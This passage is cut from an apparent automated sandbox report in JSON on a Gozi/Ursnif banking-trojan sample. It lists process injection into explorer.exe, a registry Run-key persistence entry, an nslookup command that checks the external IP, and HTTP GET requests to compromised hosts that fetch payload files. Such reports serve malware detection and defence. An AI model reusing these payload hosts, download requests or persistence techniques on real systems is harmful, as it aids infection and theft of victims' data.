Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"GET /pic/top1/1.ats HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36Host: zenzion.com\"\n \"GET /loggers/991.zip HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36Host: puccettiracing.it\"","origin":"Network Traffic","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"clfs10_1.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"F0E0.bi1\" has type \"ASCII text with CRLF line terminators\"\n \"prefs.js\" has type \"ASCII text with very long lines with CRLF line terminators\"\n \"A584.tmp\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"Installation/Persistance","name":"Monitors specific registry key for changes","description":"\"nslookup.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 0)\n \"nslookup.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 0)","origin":"API Call","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"\"\" touched file \"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls\"\n \"\" touched file \"%WINDIR%\\System32\\C_1252.NLS\"\n \"\" touched file \"%WINDIR%\\System32\\ntdll.dll\"\n \"explorer.exe\" touched file \"%WINDIR%\\System32\\C_1252.NLS\"\n \"explorer.exe\" touched file \"%WINDIR%\\System32\\ntdll.dll\"\n \"explorer.exe\" touched file \"%WINDIR%\\System32\\tzres.dll\"\n \"explorer.exe\" touched file \"%WINDIR%\\System32\\en-US\\tzres.dll.mui\"\n \"explorer.exe\" touched file \"%WINDIR%\\System32\\msxml3r.dll\"\n \"explorer.exe\" touched file \"%WINDIR%\\System32\\msxml6r.dll\"\n \"cmd.exe\" touched file \"%WINDIR%\\System32\\en-US\\cmd.exe.mui\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Heuristic match: \"222.222.67.208.in-addr.arpa\"\n Heuristic match: \"Server: resolver1.opendns.comAddress: 208.67.222.222Name: myip.opendns.comAddress: 188.138.33.220--------\"\n Heuristic match: \"Address: 208.67.222.222\"\n Heuristic match: \"Address: 188.138.33.220\"\n Heuristic match: \"Server: resolver1.opendns.comAddress: 208.67.222.222Name: myip.opendns.comAddress: 188.138.33.220\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$27","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"nslookup.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"nslookup.exe\" wrote bytes \"4053597758585a77186a5a77653c5b770000000000bfb8760000000056ccb876000000007ccab87600000000376873756a2c5b77d62d5b7700000000206973750000000029a6b87600000000a48d737500000000f70eb87600000000\" to virtual address \"0x76911000\" (part of module \"NSI.DLL\")\n \"nslookup.exe\" wrote bytes \"7739577779a85b77be725b77d62d5b771de2567705a25b77c8685a7757d16177bee35677616f5b77684159770050597700000000ad37a6758b2da675b641a67500000000\" to virtual address \"0x75101000\" (part of module \"WSHIP6.DLL\")\n \"nslookup.exe\" wrote bytes \"92e6567779a85b77be725b77d62d5b771de2567705a25b77bee35677616f5b77684159770050597700000000ad37a6758b2da675b641a67500000000\" to virtual address \"0x74BB1000\" (part of module \"WSHTCPIP.DLL\")","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"2018-05-11_08-55-07.exe.bin\" was detected as \"VC8 -> Microsoft Corporation\"\n \"clfs10_1.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\"\" queried SystemProcessInformation at 00023849-00003268-00000105-1228220","origin":"API Call","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Scanning for process managers","description":"\"\" searching for class \"ProgMan\"","origin":"API Call","relevance":10,"id":"api-15","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a cryptographic related string","description":"\"DES\" (Indicator: \"des\"; File: \"2018-05-11_08-55-07.exe.bin\")","origin":"File/Memory","relevance":10,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 00023849-00003268-1317-278-00410E6C\n cpuid at 17813-1572-00410E6C","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"explorer.exe\" (Thread ID: 2932) slept \"520\" times (threshold: 500)","origin":"API Call","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"nslookup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/67 reputation engines marked \"http://zenzion.com\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"General","name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: \"dbz@v.u7\"\n Pattern match: \"9@v.w\"","origin":"File/Memory","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"clfs10_1.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"explorer.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"APSSDEUI\"; Value: \"%APPDATA%\\Microsoft\\Aepi-1-0\\clfs10_1.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"Network Related","name":"Found a reference to an external IP address lookup service","description":"\"myip.opendns.com\" (Indicator: \"myip.opendns.com\"; File: \"PCAP\")\n \"Server: resolver1.opendns.comAddress: 208.67.222.222Name: myip.opendns.comAddress: 188.138.33.220--------\" (Indicator: \"myip.opendns.com\"; File: \"F0E0.bi1\")\n \"Name: myip.opendns.com\" (Indicator: \"myip.opendns.com\"; File: \"F0E0.bi1\")\n \"Server: resolver1.opendns.comAddress: 208.67.222.222Name: myip.opendns.comAddress: 188.138.33.220\" (Indicator: \"myip.opendns.com\")\n \"cmd /C \"nslookup myip.opendns.com resolver1.opendns.com > %TEMP%\\F0E0.bi1\"\" (Indicator: \"myip.opendns.com\"; File: \"cmd.exe\")\n \"nslookup myip.opendns.com resolver1.opendns.com\" (Indicator: \"myip.opendns.com\"; File: \"nslookup.exe\")","origin":"File/Memory","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry Access","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"C:\\2018-05-11_08-55-07.exe\" marked \"C:\\2018-05-11_08-55-07.exe\" for deletion","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"\" opened \"C:\\2018-05-11_08-55-07.exe\" with delete access","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"System Security","name":"Has the capability to lower Firefox security settings","description":"\"user_pref(\"network.http.spdy.enabled\", false);\" (Indicator: \"user_pref(\"network.http.spdy.enabled\",false);\"; File: \"prefs.js\")","origin":"File/Memory","relevance":10,"id":"string-60","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetFileAttributesA\n CopyFileA\n GetModuleFileNameA\n LoadLibraryA\n CreateDirectoryA\n UnhandledExceptionFilter\n GetCommandLineA\n GetProcAddress\n WriteFile\n GetStartupInfoA\n GetModuleHandleW\n IsDebuggerPresent\n TerminateProcess\n Sleep\n GetTickCount\n VirtualAlloc\n GetFileSize","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"malicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET TROJAN [PTsecurity] Gozi/Ursnif Payload v12\" (SID: 2024533, Rev: 2, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)\n Detected alert \"ET POLICY External IP Lookup Domain (myip.opendns .com in DNS lookup)\" (SID: 2023472, Rev: 5, Severity: 1) categorized as \"Potential Corporate Privacy Violation\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"malicious","category":"Installation/Persistance","name":"Allocates virtual memory in a remote process","description":"\"\" allocated memory in \"\\REGISTRY\\USER\"","origin":"API Call","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"malicious","category":"Installation/Persistance","name":"Injects into explorer","description":"Injected into \"explorer.exe\" (UID: 00036295-00001432)","origin":"Monitored Target","relevance":5,"id":"target-20","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"malicious","category":"Installation/Persistance","name":"Injects into remote processes","description":"Injected into \"explorer.exe\" at 2018-5-11.02:04:18.426 (UID: 00036295-00001432)","origin":"Monitored Target","relevance":6,"id":"target-0","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"\" wrote 4 bytes to a remote process \"%WINDIR%\\explorer.exe\" (Handle: 220)\n \"\" wrote 792 bytes to a remote process \"%WINDIR%\\explorer.exe\" (Handle: 220)\n \"cmd.exe\" wrote 32 bytes to a remote process \"%WINDIR%\\System32\\nslookup.exe\" (Handle: 88)\n \"cmd.exe\" wrote 52 bytes to a remote process \"%WINDIR%\\System32\\nslookup.exe\" (Handle: 88)\n \"cmd.exe\" wrote 4 bytes to a remote process \"%WINDIR%\\System32\\nslookup.exe\" (Handle: 88)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$28","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"myip.opendns.com\"","origin":"Network Traffic","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"level":"malicious","category":"System Security","name":"Disables SPDY-connections","description":"\"explorer.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"ENABLESPDY3_0\"; Value: \"00000000\")","origin":"Registry Access","relevance":5,"id":"registry-41","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]}],"incidents":[{"name":"Remote Access","details_count":2,"details":[{"detail":"Tries to identify its external IP address"},{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Injects into remote processes"},{"detail":"Injects into explorer"}],"sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Tries to identify its external IP address"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Possibly tries to evade analysis by sleeping many times"}],"sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 7 domains and 7 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":8,"imported_dlls_count":42,"dropped_files_count":0,"extracted_files_count":4,"files_written_count":40,"files_deleted_count":0,"registry_keys_created_count":7,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":7,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":6,"dns_resolutions_count":7,"contacted_urls_count":4,"http_requests_count":4},"behavior_tags":["gozi","isfb","papras","ursnif"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"5af55ae07ca3e1645b692812","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["DEU","ITA","MYS","USA"],"submit_name":"2018-05-11_08-55-07.exe","analysis_start_time":"2018-05-11T10:57:20+00:00","indicators_count":{"informative":21,"suspicious":20,"malicious":12},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"69.49.96.14","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"address":"103.230.124.230","port":80,"protocol":"TCP","country":"Malaysia","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"address":"37.9.230.81","port":80,"protocol":"TCP","country":"Italy","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"address":"64.40.144.28","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"address":"212.112.245.170","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"address":"154.35.32.5","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]}],"dns_resolutions":[{"domain":"zenzion.com","address":"103.230.124.230","ttl":14399,"country":"Malaysia","registrar_name":"WEBCC","registrar_organization":"Zenzion Sdn Bhd","registrar_name_servers":"MY1.MYONEHOST.COM","registrar_creation_date":"2004-03-16T08:29:33+00:00","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"domain":"resolver1.opendns.com","address":"208.67.222.222","ttl":740,"country":"United States","registrar_name":"PDR Ltd. d/b/a PublicDomainRegistry.com","registrar_organization":"Cisco Technologies, Inc.","registrar_name_servers":"AUTH1.OPENDNS.COM","registrar_creation_date":"2003-09-04T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"domain":"puccettiracing.it","address":"37.9.230.81","ttl":21599,"country":"Italy","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"domain":"myip.opendns.com","ttl":1020,"country":"-","registrar_name":"PDR Ltd. d/b/a PublicDomainRegistry.com","registrar_organization":"Cisco Technologies, Inc.","registrar_name_servers":"AUTH1.OPENDNS.COM","registrar_creation_date":"2003-09-04T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"domain":"house2.gg12.net","address":"64.40.144.28","ttl":599,"country":"United States","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"domain":"archercm.com","address":"69.49.96.14","ttl":14399,"country":"United States","registrar_name":"Register.com, Inc.","registrar_creation_date":"2005-10-29T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"domain":"222.222.67.208.in-addr.arpa","ttl":371646,"country":"-","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]}],"http_requests":[{"host":"archercm.com","host_ip":"69.49.96.14:80","url":"/images/ax.bin","method":"GET","response_code":"403","response_phrase":"Forbidden","header":"GET /images/ax.bin HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36\nHost: archercm.com","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"host":"zenzion.com","host_ip":"103.230.124.230:80","url":"/pic/top1/1.ats","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /pic/top1/1.ats HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36\nHost: zenzion.com","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"host":"puccettiracing.it","host_ip":"37.9.230.81:80","url":"/loggers/991.zip","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /loggers/991.zip HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36\nHost: puccettiracing.it","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"host":"house2.gg12.net","host_ip":"64.40.144.28:80","url":"/license/key/putty.dmg","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /license/key/putty.dmg HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36\nHost: house2.gg12.net","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}],"processes":[{"pid":3268,"ppid":0,"name":"2018-05-11_08-55-07.exe","command_line":"","sha256":"f79de63b1432a95be3002d787bc7cbb3f530a55bc3d27ab3361736b2cfa89d5c","normalized_path":"C:\\2018-05-11_08-55-07.exe","uid":"00023849-00003268","icon":"$29"},{"pid":1432,"ppid":3268,"name":"explorer.exe","command_line":"","normalized_path":"%WINDIR%\\explorer.exe","parent_uid":"00023849-00003268","uid":"00036295-00001432"}],"all_imported_dlls":["kernel32.dll","advapi32.dll","netapi32.dll","msoeacct.dll","msoert2.dll","ACCTRES.dll","msxml3r.dll","msimg32.dll","imm32.dll","ole32.dll","NapiNSP.dll","pnrpnsp.dll","shlwapi.dll","rpcrt4.dll","webio.dll","INETRES.dll","wab32.dll","imagehlp.dll","msxml6.dll","msxml6r.dll","WSHTCPIP.DLL","inetcomm.dll","ntdll.dll","user32.dll","wship6.dll","rasadhlp.dll","cryptdlg.dll","lpk.dll","msctf.dll","mswsock.dll","FWPUCLNT.DLL","msxml3.dll","wshqos.dll","winrnr.dll","KernelBase.dll","gdi32.dll","usp10.dll","msvcrt.dll","sechost.dll","shell32.dll","winhttp.dll","dnsapi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"F0E0.bi1","sha256":"563388a63b3616aef8ea7a1f7b903f80885b9d93b6c0fea2299843031f067417","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"name":"clfs10_1.exe","sha256":"f79de63b1432a95be3002d787bc7cbb3f530a55bc3d27ab3361736b2cfa89d5c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"name":"prefs.js","sha256":"878aa99e2cf190d0c4f35d72398e26d4214e15b13d058412837fe36e67a983d5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"name":"A584.tmp","sha256":"5a3155b64ca42221b53ba9bbbc2b67b96c352116af51b976bd1fe0ea09aca116","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]}],"files_written":[{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%WINDIR%\\System32\\C_1252.NLS","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\Microsoft\\Aepi-1-0","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\Microsoft\\Aepi-1-0\\clfs10_1.exe","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\prefs.js","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%TEMP%\\A584.tmp","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%WINDIR%\\System32\\ntdll.dll","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%WINDIR%\\System32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%WINDIR%\\System32\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\state.tmp","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\router-stability","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\geoip","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\cached-certs","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\cached-consensus","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\unverified-consensus","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\cached-microdesc-consensus","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\unverified-microdesc-consensus","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"C:\\tor\\fallback-consensus","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\cached-microdescs","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\cached-microdescs.new","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\cached-descriptors","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%APPDATA%\\cached-extrainfo","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%WINDIR%\\System32\\nslookup.exe","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%WINDIR%\\System32\\en-US\\nslookup.exe.mui","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%TEMP%\\F0E0.bi1","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows Mail","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows Mail\\account{A770D234-3A38-4244-88F4-7A867FDC9959}.oeaccount","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows Mail\\account{B4FCE48D-2097-4415-9537-7933E765DE73}.oeaccount","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows 